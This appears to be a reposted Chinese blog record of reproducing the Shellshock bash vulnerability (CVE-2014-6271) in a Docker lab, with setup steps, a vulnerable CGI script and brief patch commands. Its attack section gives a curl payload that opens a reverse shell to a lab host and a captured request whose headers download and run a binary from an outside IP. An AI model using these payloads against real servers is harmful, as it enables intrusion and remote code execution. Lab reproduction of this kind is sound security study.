CVE-2014-6271破殼(shellshock)漏洞復現記錄


docker大法好
搭建環境:
centos 6.6 x64

docker安裝

看網上說docker需要內核3.8以上,而且只能運行在64位系統
centos 6.6內核低了一點,升級一下內核。

內核升級

a、升級內核

cd /etc/yum.repos.d
wget http://www.hop5.in/yum/el6/hop5.repo
yum install kernel-ml-aufs kernel-ml-aufs-devel

b、修改grub的主配置文件/etc/grub.conf,設置default=0,表示第一個title下的內容為默認啟動的kernel(一般新安裝的內核在第一個位置)

c、重啟系統后運行

uname -r

如果內核是3.10的話就代表升級成功。

docker安裝
d、首先關閉selinux:

setenforce 0
sed -i '/^SELINUX=/c\SELINUX=disabled' /etc/selinux/config

e、在Fedora EPEL源中已經提供了docker-io包,下載安裝epel:

rpm -ivh http://mirrors.sohu.com/fedora-epel/6/x86_64/epel-release-6-8.noarch.rpm
sed -i 's/^mirrorlist=https/mirrorlist=http/' /etc/yum.repos.d/epel.repo

f、yum安裝docker-io:

yum -y install docker-io

g、啟動docker服務:service docker start
一定要啟動服務,后面運行啥都是爆出錯誤,應該是服務沒開,導致無法守護進程。
Get http:///var/run/docker.sock/v1.19/images/search?term=shellshock: dial unix /var/run/docker.sock: no such file or directory. Are you trying to connect to a TLS-enabled daemon without TLS?

環境搭建(利用別人已經搭建好的環境測試)

查找環境

docker search shellshock

下載鏡像

docker pull 鏡像name

查看當前可用鏡像

docker images

運行鏡像,將docker的80轉發到本機的80,並運行bash程序

docker run -it -p 80:80 hmlio/vaas-cve-2014-6271 /bin/bash

這里遇到過一個錯誤:
Error response from daemon: Cannot start container a0a6d92f0172dcbb229c7b1755be0be3b507831416ee36e686fd69a4b0a60c14: [8] System error: write /sys/fs/cgroup/docker/a0a6d92f0172dcbb229c7b1755be0be3b507831416ee36e686fd69a4b0a60c14/cgroup.procs: no space left on device
解決辦法:

sudo echo 1 > /sys/fs/cgroup/docker/cgroup.clone_children
sudo echo 0 > /sys/fs/cgroup/docker/cpuset.mems
sudo echo 0 > /sys/fs/cgroup/docker/cpuset.cpus

再重啟一下docker服務。

docker的bash下啟動web容器,這個鏡像的cgi-bin路徑是/usr/lib/cgi-bin/

/usr/sbin/apachectl start

查看正在運行的docker

docker ps

停止運行中的docker

docker stop name(這個name是docker ps中最后的name參數值)

2、攻擊
poc測試是不是有這個漏洞(bash 1.14至bash 4.3的Linux/Unix系統存在,阿里雲的應該是centos6.5是被修補了)

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

a、curl請求
注意前面特殊字符的空格,還有就是程序路徑,以前遇上過一個實例,可能是PATH設置問題導致糾結了很久,最好還是帶好路徑。

curl -A "() { :; }; /bin/bash -i > /dev/tcp/192.168.206.129/2333 0<&1 2>&1" http://192.168.206.130/cgi-bin/stats

b、msf模塊

3、另外的環境搭建
在沒用docker之前,是下載了一個centos5.5去直接測試,相比docker,鏡像文件大小、安裝時間、apache安裝,等等一系列配置,最后千辛萬苦搭建好一個apache_cgi模式,結果好像是因為權限問題,bash也就能echo輸出文件內容,其他的都不行。docker就太方便了,就算是不用別人的鏡像,自己配置的話,需要按自己需求來弄,需要麻煩一些。

記錄一下怎么樣弄的cgi模式,用的是centos自帶的apache。

httpd.conf配置:

設置/var/www/cgi-bin目錄的腳本別名是cgi-bin,
1、ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"

讓這個目錄下都支持cgi
2、

<Directory "/var/www/cgi-bin">
    AllowOverride None
    Options ExecCGI
    Order allow,deny
    Allow from all
</Directory>

添加訪問后綴,當其被訪問能被解析
3、AddHandler cgi-script .cgi .pl .sh

需要有cgi模塊
4、LoadModule cgi_module modules/mod_cgi.so

最后一定要注意的是文件的權限問題。
Chmod 777 poc.cgi

其中poc.cgi內容:

#!/bin/bash

echo "Content-type: text/html"
echo ""

echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'

exit 0

4、

GET./.HTTP/1.0
.User-Agent:.Thanks-Rob
.Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Accept:.*/*

5、防御(並未去測試)

Debian-based(包括Ubuntu):
sudo apt-get update && apt-get upgrade

Gentoo:
sudo emerge --sync && glsa-check -f affected

參考:
http://blog.csdn.net/wuhilon88/article/details/41621285
http://drops.wooyun.org/papers/3064
http://drops.wooyun.org/papers/3268


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM